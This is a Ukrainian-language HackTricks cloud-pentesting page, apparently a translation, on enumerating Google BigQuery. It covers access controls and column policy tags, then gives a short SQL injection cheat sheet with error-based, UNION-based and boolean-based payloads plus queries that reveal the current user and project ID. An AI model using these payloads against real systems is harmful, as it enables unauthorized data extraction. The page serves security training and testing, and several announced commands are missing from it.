GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Google Cloud BigQuery є повністю керованим, безсерверним корпоративним сховищем даних, що пропонує можливості для аналізу петабайтів даних, таким чином ефективно обробляючи великі набори даних. Як Платформа як послуга (PaaS), вона надає користувачам інфраструктуру та інструменти для полегшення управління даними без необхідності ручного контролю.
Вона підтримує запити з використанням ANSI SQL. Основними об'єктами є набори даних, що містять таблиці, які містять SQL дані.
За замовчуванням використовується ключ шифрування, керований Google, хоча можливо налаштувати ключ шифрування, керований клієнтом (CMEK). Можливо вказати ключ шифрування для кожного набору даних та для кожної таблиці всередині набору даних.
Можливо вказати час закінчення дії в наборі даних, тому будь-яка нова таблиця, створена в цьому наборі даних, буде автоматично видалена через вказану кількість днів після створення.
Bigquery глибоко інтегрований з іншими сервісами Google. Можливо завантажувати дані з бакетів, pub/sub, google drive, баз даних RDS...
Коли створюється набір даних, ACLs прикріплюються для надання доступу до нього. За замовчуванням надаються права власника для користувача, який створив набір даних, а потім власнику групи projectOwners (власники проекту), права запису для групи projectWriters та права читання для групи projectReaders:
Можливо контролювати рядки, до яких суб'єкт зможе отримати доступ всередині таблиці за допомогою політик доступу до рядків. Вони визначаються всередині таблиці за допомогою DDL. Політика доступу визначає фільтр, і тільки відповідні рядки з цим фільтром будуть доступні вказаним суб'єктам.
Щоб обмежити доступ до даних на рівні стовпців:
Визначте таксономію та політичні теги. Створіть і керуйте таксономією та політичними тегами для ваших даних. https://console.cloud.google.com/bigquery/policy-tags
За бажанням: надайте роль читача з тонким контролем даних Data Catalog одному або кільком особам для одного або кількох політичних тегів, які ви створили.
Призначте політичні теги своїм стовпцям BigQuery. У BigQuery використовуйте анотації схеми, щоб призначити політичний тег кожному стовпцю, до якого ви хочете обмежити доступ.
Забезпечте контроль доступу на таксономії. Забезпечення контролю доступу призводить до застосування обмежень доступу, визначених для всіх політичних тегів у таксономії.
Керуйте доступом до політичних тегів. Використовуйте Управління ідентифікацією та доступом (IAM) політики, щоб обмежити доступ до кожного політичного тегу. Політика діє для кожного стовпця, що належить до політичного тегу.
Коли користувач намагається отримати доступ до даних стовпця під час запиту, BigQuery перевіряє політичний тег стовпця та його політику, щоб дізнатися, чи має користувач право на доступ до даних.
У підсумку, щоб обмежити доступ до деяких стовпців для деяких користувачів, ви можете додати тег до стовпця в схемі та обмежити доступ користувачів до тегу, забезпечуючи контроль доступу на таксономії тегу.
Щоб забезпечити контроль доступу на таксономії, потрібно активувати сервіс:
Можна переглянути теги стовпців за допомогою:
Для отримання додаткової інформації ви можете переглянути блог: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Тут будуть надані лише деякі деталі.
Коментарі:
select 1#from here it is not working
select 1/*between those it is not working*/
Але лише початковий не спрацює
select 1--from here it is not working
Отримати інформацію про середовище такі як:
Поточний користувач: select session_user()
Ідентифікатор проекту: select @@project_id
Об'єднати рядки:
Усі назви таблиць: string_agg(table_name, ', ')
Отримати набори даних, таблиці та імена колонок:
Назва проекту та набору даних:
Назви стовпців та таблиць усіх таблиць набору даних:
Інші набори даних в тому ж проекті:
Типи SQL-ін'єкцій:
На основі помилок - приведення: select CAST(@@project_id AS INT64)
На основі помилок - ділення на нуль: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
На основі об'єднання (вам потрібно використовувати ALL у bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
На основі булевих значень: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Потенційно на основі часу - Використання публічних наборів даних приклад: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Документація:
Скриптові оператори: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Вивчайте та практикуйте Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)